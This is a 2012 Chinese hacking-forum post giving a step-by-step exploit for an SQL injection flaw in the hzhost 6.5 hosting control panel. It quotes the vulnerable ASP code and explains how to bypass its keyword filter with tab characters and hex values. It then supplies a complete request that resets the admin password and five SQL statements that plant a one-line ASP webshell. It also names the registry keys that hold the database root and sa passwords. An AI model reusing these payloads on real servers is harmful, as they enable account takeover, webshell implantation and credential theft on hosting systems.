找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1867|回复: 0
打印 上一主题 下一主题

再爆hzhost6.5虚拟主机管理系统的SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 15:03:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这次继续爆hzhost6.5虚拟主机管理系统的SQL注入漏洞。
/ c3 Z+ |! S) a6 b* M3 _% l! C8 m 只讲两个要点。
' `9 F5 X7 g0 q- f; D第一,如何拿网站管理员权限。5 ^1 Q' [) t5 n/ H4 S" a
第二,如何备份木马。( b6 O2 \1 _  J% Q
这次不是简单的注射点,而是经过安全函数过滤的了点。由于对方没有将变量用单引号包起来,而过滤函数又未过滤完全,导致我们有机会进行注射。6 a* ]8 _& X- s
我这次还做了个动画。一并发放。希望能让大家玩得"happy"!哈哈。。。: \- G# e; j; C/ y( |" }2 S
httP://www.xxbing.com QQ178737315
* d2 I! R* A3 L由于我写了很长,而且很累了,所以希望大家回帖鼓励一下。4 T  O- x3 e" y
------------开放浏览-------------
7 S. ~  V- V/ V2 |" y) _/ s2 Q0 Z 漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中!
3 Z* [2 V1 @8 }4 d2 Z! p-------------------------13-15行----------------------------
# X; Y& M' t0 g; n6 l querytype=SafeRequest("querytype")  //saferequest函数接受数据. ]% w9 D# Q- w' s
if chk_int(querytype)=false then  //检查是否是整数
( Q( b4 v* h8 @  I1 H2 B+ i' j, E! X    ErrMsg="<font color=#ff0000>对不起</font>,非法操作!..."! i' Z4 q1 y) p- }9 X6 b& V% F
-------------------------37-42行---------------------------
6 \: S. I2 h: f8 V) u/ I+ ^- B elseif querytype=5 then //如果类型为5。就接受qu1数据!9 y! }3 I9 `2 E2 F3 k( Y% p
   qu1=trim(SafeRequest("qu1"))      //saferequest函数接受数据,他自己定义的saferequest函数!# I' Z% }  N+ L1 l; U) I
   ! q9 s3 s& E2 D. v
    if  qu1="" then  //不能为空
$ k6 C5 j7 z; S$ I( c# C! X         call errorpage(-2,"对不起,请选择参数!")) F8 D: Q' a6 K! |1 b& h
   end if         
$ k. G1 Z  c8 y0 i. l4 ~      qstring=" and s_regstt="&qu1&" "  //这里是关键  qu1没有用单引号包围,虽然用了saferequest,但是我们可以绕过!
) L) H5 ?3 `% a8 S. R- W; r -------------------------62-65行---------------------------
0 M( e# L2 S0 x. t1 F qu7=trim(SafeRequest("qu7")) //saferequest函数接受数据3 J& U3 j  g# [1 T6 ~: N
if qu7<>"" then# S8 q2 z# _* t
qstring2=" and u_nme='"&qu7&"'" //这里被单引号包围了。  这里被包围了,所以这里成了死点!!
. p* G' @1 h9 m$ K+ L( ~% T2 F end if
8 t, L0 Z5 G$ y+ c --------------------------117行-----------------------------( z$ C6 V' i; M, Y- h9 I. g: f% O  W% |
query="select * from v_ot2lst where  (s_unme='"&session("usrname")&"' or u_fatstr like '%,"&session("usrname")&",%')    "&qstring&qstring2&"  order by "&orderstring 4 F# }' z, q9 e( P7 c
//到这里就丢进去查询了!
; A3 H* }( L* y* C7 z7 b
3 b# R/ Z5 j1 v7 ^  T 来看看saferequest()函数。! g7 d3 N* s1 e2 v: G! A/ j" F+ I
------------------incs/config.asp中-------------------------. y* q: D* F$ f
Function SafeRequest(ParaName)
! m% y- T6 x9 A7 I Dim ParaValue , y. U, b8 M; f) F  I: f7 ^
ParaValue=Request(ParaName)  //获取数据$ U$ f/ I1 x" C& }2 _5 Q
if IsNumeric(ParaValue)  then  //如果是数字. z2 h% C: \, i# g
SafeRequest=ParaValue  //那就不过滤,直接赋值4 i3 k8 z: w! o5 s( `1 R
exit Function
6 N( }8 T5 H; w8 I6 m5 |1 g. i) d6 X$ I1 D9 R
else
0 W# \2 Z9 U  D ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
) q0 v/ \4 z3 D5 x/ V tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"( Q0 }2 B( y% }# y7 O2 t  a- ?
//定义要过滤的字符!
' K4 I  C/ g: b& Z( f. g0 t3 o
2 r; ~+ T: K) D1 N% h 他过滤方式有问题。。。没有过滤 * / % / -- / ;% J. z. e' W" a" F8 m3 i) k5 g, M
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。
* P6 q) _3 W+ g/ ?, _  f% J5 }5 a& n& p* S/ a4 T( W
temps=split(tempvalue,"|")           //转为一维数组* W4 X: M; J4 C- x) e$ O" x$ Y" a$ t$ i
for mycount=0 to ubound(temps)       //循环读数组内数据
7 x0 D/ n* W# ?) K! h  H- t- ] if  Instr(ParaValuetemp,temps(mycount)) > 0 then   //判断用户提交的数据是否包含了 非法字符。
& L7 I/ [1 w: F- p( l8 b# ^                 call errorpage(-2,"非法请求!!!")  //如果有则弹出提示!!
6 ~, J/ @5 m2 n% e6 O, K3 t  }, _( V                 response.end; L/ `. u( i9 q, P) R$ n% R
end if
! A  a3 [+ O! T next1 J1 Y4 k3 [8 h
SafeRequest=ParaValue0 k! T# }1 P) {0 [
end if
1 e( h" ]3 D& S; M, t" d0 L End function( s+ ?% M/ i- M3 N3 S; H  i
-------------------------------------" L, l* r2 J; j/ C

( t5 K7 Q) [9 H 所以我们构造注射点的思路就是:不能出现单引号,update,select等等两边都要用%09(tab)..仔细看清楚。上面过滤的是update+空格。select+空格。
# h2 E. s- r1 Q8 ` 先给出查询语句的框架。* c/ l/ P/ Y% a; p4 b; v5 Y# x
select * from v_ot2lst where  (s_unme='username' or u_fatstr like '%,username,%') and s_regstt={我们的语句} and u_nme='1' order by s_addtme desc
% a, l3 ?3 K/ X
9 q) E) W, L- A4 \) p/ f7 |4 s+ X 为了使语句顺利执行:; O0 u  g2 P  J: p% j
我们还要闭合后面的语句。我没有选择注释掉 and u_nme='1' order by s_addtme desc而是闭合他,是因为注释后,实际查询出错了。
0 j7 F& p& k/ j1 X 这里我给出条示范语句,即{我们的语句}& v3 ^' G8 D( m, q( H( X  p6 e
UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E
# j; J( U7 M- B: M% Z+ [5 C( x7 y5 Y2 i2 a1 a$ M0 p4 K) T; W4 V
这条语句能够绕过saferequest函数的检测。没有出现单引号。: A9 q- v; I7 _1 a! X
我们提交:0 ~8 G# R" y1 S9 P  H( R
http://www.xxxxxx.com/control/ot ... amp;qu1=1;UPDATE%09[memlst] SET u_pss=0x6531306164633339343962613539616262653536653035376632306638383365 WHERE u_nme=0x61646D696E;select%09*%09from%09v_ot2lst where s_regstt=1;select%09*%09from%09v_ot2lst where s_regstt=1
3 x% l/ `$ x) h# T& H. v' W1 N* M: ]) [* b. D
这句话就能够将admin的密码修改成123456& X2 @* L* r5 i& w' b0 F4 U0 a; Y
到此第一个目的就达到了。如果admin不是超级管理员。那么请看《HZHOST域名虚拟主机管理系统sql注射漏洞》中所提到的方法。相关语句请自己转换。0 h6 D$ a) {# `; g
第二步是要备份挂马。! g, _# F; Z5 c1 |( ?
大家看动画中的备马这么简单,当初难了我老半天。saferequest过滤了char(
8 s5 U; W, ?6 v% _ 导致备马的这条语句失败。) a) _4 _: ?: c9 G( b- H
declare @a sysname,@s varchar(4000) select @a=db_name(),@s=。。。。。。。。。3 r( k% o) m3 C9 R- q' n. G% F
0 v8 p, X/ T' D
有人给我建议改成 @s ntext 等等,换类型都不行。因为我们插入的一句话木马已经固定了数据类型。。
2 U- Y4 U3 A6 N/ \ 由于mssql的宽松性。我把varchar(40000)中加了个空格。并把空格替换成%09成为 varchar%09(4000),也是可以的。这样我们就饶过了char(
$ O9 h5 ^: U  ~1 B0 |7 h6 F 接下来放出详细语句。大家放入{我们的语句中}
2 K1 a% ?, ^1 p! N9 E  K5 o第 一 步:
2 I& p6 T3 f1 j, c* v5 r# f create table [dbo].[shit_tmp] ([cmd] [image])--* s" E% c/ r# T9 ]$ Z
第 二 步$ Z! u, `. r6 z5 D
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x7900690061006F006C007500 backup log @a to disk = @s with init,no_truncate--) {+ T8 S4 X$ B+ s0 V& ]& x4 k( o. Y
第 三 步
/ d4 u6 r1 W2 K) }2 L% O1 n$ f insert%09into%09[shit_tmp](cmd) values(0x3C25657865637574652872657175657374282261222929253E)--7 P0 B! c# [1 _0 ?  G
第 四 步8 P, ~% O6 u3 M8 b" |; g2 @
declare @a sysname,@s nvarchar%09(4000)%09select%09@a=db_name(),@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @a to disk=@s--% d' e% n9 t+ b2 W# t; y
第 五 步& c8 Y4 Z: S# u8 {3 l
Drop table [shit_tmp]--
" }1 e% F% p8 l7 S$ o# I  j2 S1 o0 @' ]6 ~5 d
上面5句语句是在d:/hzhost/hzhost_master/下生成一个1.asp。里面包含了一个密码为a的一句话木马。. r+ z4 o6 B5 t( f  `, l" J
一般来说,我们就能拿到webshell. 至于拿webshell后,如何取得系统权限。
0 ?* U$ l( S) J) M- |& h1 E! H" g 请看《对HZHOST域名虚拟主机管理系统sql注射漏洞进一步利用!》
' e: w' o) }& Y) R7 O: m3 s+ u4 T7 b8 G
最后是答疑部分:
( W9 V4 M4 \2 q) N$ j) }4 n 1:这次是get注射,不像上次是post注射。由于没有文本框字符的限制,所以不需要保存网页到本地。# s% i4 G9 B/ T& w8 u; p( z# h
, m/ G: \- [4 `: T  E
2:123456的md5(32)值为e10adc3949ba59abbe56e057f20f883e 用mssql 16进制转换后,成为0x65003100300061006400630033003900340039006200610035003900610062006200650035003600650030003500370066003200300066003800380033006500# Z: u% f( j/ }7 `- G% |( x7 T3 o
这是转为nvarchar型的,我们直接更新这个值。会导致被更新用户的密码为乱码。所以我们要转成varchar型的。即:
& L  L3 m2 a6 `$ f 0x6531306164633339343962613539616262653536653035376632306638383365
) g1 y/ ?) d$ `2 G8 H: _) L& t: K9 x" k 大家仔细观察,会发现,其实只是去掉了一些00。。
; t6 K; O/ S' q! P 所以大家在转换其他md5的时候,注意此问题。: E! ]4 d6 M: A

% e4 I+ u- p$ [/ L7 Q, F2 Z* P' i* x 3:读sa密码,root密码。我们读的是加密了的。还原必须在本机,每台hzhost主机都有自己的密钥,密钥参与到加密过程。这是导致A主机不能还原B主机密码的原因。( _2 b$ G' x1 \( e* ^
另 hzhost虚拟主机平台的所有dll文件。还有一些注册表值我都已取得。有会逆向分析的高手,能做出还原密码程序的高手请联系我。我很希望把他的加密方式弄出来。, q$ x% H- h6 ?+ |; [6 T, L
# ?+ H6 ?# q$ m3 ^1 ^( U$ S
4:备马的问题,备份成功后,可能出现乱码,是由于截断了的原因,大家用NBSI3。去掉2个截断的勾,再生成语句执行就行了。( }; ~0 Z5 g8 S9 M
有的服务器可能在备马的过程中出现SQL过期,超时。遇到这样的是对方数据库很大,这我也没办法。我没能找出一个比较好的解决方案。大家自己研究吧。" |" Q8 X2 e% p7 j
9 k# g* ]9 @( l  H! d
5:hzhost其实不只这一个注射点,没被单引号包围的变量还有一些。大家自己去找吧。我只是拿出一个来分析。
/ x! ?+ x! j( B3 O6 D
6 }& [7 H. x  s" v! P3 x4 L6 [ 6::* _3 i! m$ @$ E* {3 O
sa密码。root密码。
! D- b* I8 u3 X1 \8 u HKEY_LOCAL_MACHINE\software\hzhost\config\settings\
3 B7 N. |2 M0 f' g# A8 q mysqlpass---root密码# W, ]8 w- E9 f$ p
mssqlpss----sa密码$ z4 f) p3 w, |& T1 z

( ?& J7 d- D/ i
) k  C' T$ h9 ^3 P1 p6 Z 7.如果路径不在D:/hzhost0 e2 E( H" P  Y8 c
那么就是你人品问题!进后台找找普通用户FTP/web的路径,也许会有些用。( p" m1 b! ?/ I7 t. F
或者去读注册表。5 u+ {- M: p6 p9 t% @
HKEY_LOCAL_MACHINE\software\hzhost\config\settings\ 下
9 P& V' K0 M/ ~$ r  x# R "wwwrootpath"="e:\\wwwroot"3 s, A% Q- O' B' u
"urlsiteroot"="D:\\hzhost\\hzhost_url"
8 P) \& E% [( y: `! b; D) j) ~ "ftprootpath"="e:\\ftproot"   可以看出什么? 绝对路径放在注册表中。把注册表中的值更新到某个字段,再去读就行了。(比如用户e-mail中。。)1 S+ |2 `( L7 {3 S7 {6 v
大家自己去试。我没有碰到不在D盘的hzhost.。只是个思路!* T  O5 Q: `3 I% f* w1 y
# d) i/ o2 F8 x& U/ f, w8 y  O- B
利用动画下载地址(送给菜鸟同学们,能看懂文章的大不必下载,只是把文章的内容完全演示了一遍。)7 ]. d% i0 o9 u  |: @) `/ ~# |: Y& Y
hzhost最新漏洞.rar2 p/ H$ e( v  k$ |+ g3 P- @
饿。纳米盘速度可能不咋地。但是由于偶的空间FTP坏了。所以,只能放到这里。抱歉啊!!
0 J5 j+ g! R6 J! |: G' N+ A/ Q4 c7 t6 O  P
最后,还是版权。
) b$ ?0 a- a. d( T0 E( X8 Dhttp://www.xxbing.com QQ178737315
# F; _; j; @* Q: r7 P4 g 允许自由转载。但请注明作者。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表